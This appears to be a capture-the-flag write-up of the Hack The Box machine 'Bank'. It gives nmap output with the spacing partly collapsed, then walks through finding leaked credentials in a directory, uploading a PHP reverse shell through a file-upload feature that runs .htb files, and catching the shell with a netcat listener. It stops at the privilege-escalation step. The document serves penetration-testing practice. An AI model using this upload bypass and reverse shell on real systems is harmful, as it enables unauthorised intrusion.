# Nmap 7.80 scan initiated Sat Sep 28 21:42:44 2019 as: nmap -sV -sC -O -A -oN O-Detailed -p 80,53,22,U:53 10.10.10.29Nmapscanreportfor10.10.10.29Hostisup (0.22s latency).PORTSTATESERVICEVERSION22/tcpopensshOpenSSH6.6.1p1Ubuntu2ubuntu2.8 (Ubuntu Linux; protocol2.0)|ssh-hostkey:|102408:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)|2048b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)|256a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)|_2562d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)53/tcpopendomainISCBIND9.9.5-3ubuntu0.14 (Ubuntu Linux)|dns-nsid:|_bind.version:9.9.5-3ubuntu0.14-Ubuntu80/tcpopenhttpApachehttpd2.4.7 ((Ubuntu))|_http-server-header:Apache/2.4.7 (Ubuntu)|_http-title:Apache2UbuntuDefaultPage:ItworksWarning:OSScanresultsmaybeunreliablebecausewecouldnotfindatleast1openand1closedportAggressiveOSguesses:Linux3.12 (95%), Linux 3.13 (95%), Linux 3.2 - 4.9 (95%), Linux 3.8 - 3.11 (95%), Linux 4.4 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 4.2 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux3.4) (95%)NoexactOSmatchesforhost (test conditionsnon-ideal).NetworkDistance:2hopsServiceInfo:OS:Linux; CPE:cpe:/o:linux:linux_kernelTRACEROUTE (using port53/tcp)HOPRTTADDRESS1220.12ms10.10.14.12229.82ms10.10.10.29OSandServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Sat Sep 28 21:43:08 2019 -- 1 IP address (1 host up) scanned in 24.59 seconds
Going to http://10.10.10.29 got me the default Apache server page, but as we see there's a DNS server running on port 53 so I added an entry for bank.htb in my hosts file and when visiting the address http://bank.htb we get a login page. No usual login credentials seemed to work, so I ran dirsearch on the URL and got following directories.
The URL /balance-transfer/ stood out to me, so I went ahead and explored the directory and found that there are several hundred files and all are encrypted however there's one file whose size is lesser than all the other files.
The contents of the file revealed credentials for an account on the system.
So we used the credentials to get to the dashboard.
There seemed to be another page called support.php which seemed interesting as it had a file upload capability (These are always juicy.).
Looking at the source revealed that we can upload file with extension htb and have it run as PHP code, which as sweet.
So I used the /usr/share/webshells/php/php-reverse-shell.php from the kali repository and uploaded and from the My Tickets table opened up the file and caught the reverse shell with netcat.
User own
$nc-lvnp5555listeningon [any] 5555 ...connectto [10.10.14.8] from (UNKNOWN) [10.10.10.29] 44018Linuxbank4.4.0-79-generic#100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 i686 i686 GNU/Linux20:37:39up1:37,0users,loadaverage:0.00,0.00,0.04USERTTYFROMLOGIN@IDLEJCPUPCPUWHATuid=33(www-data) gid=33(www-data) groups=33(www-data)/bin/sh:0:can't access tty; job control turned off$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)$ cd /home$ cd chris$ cat user.txt37c97***
Root own
I ran linux smart enum on the system and found some interesting things about SUID binaries.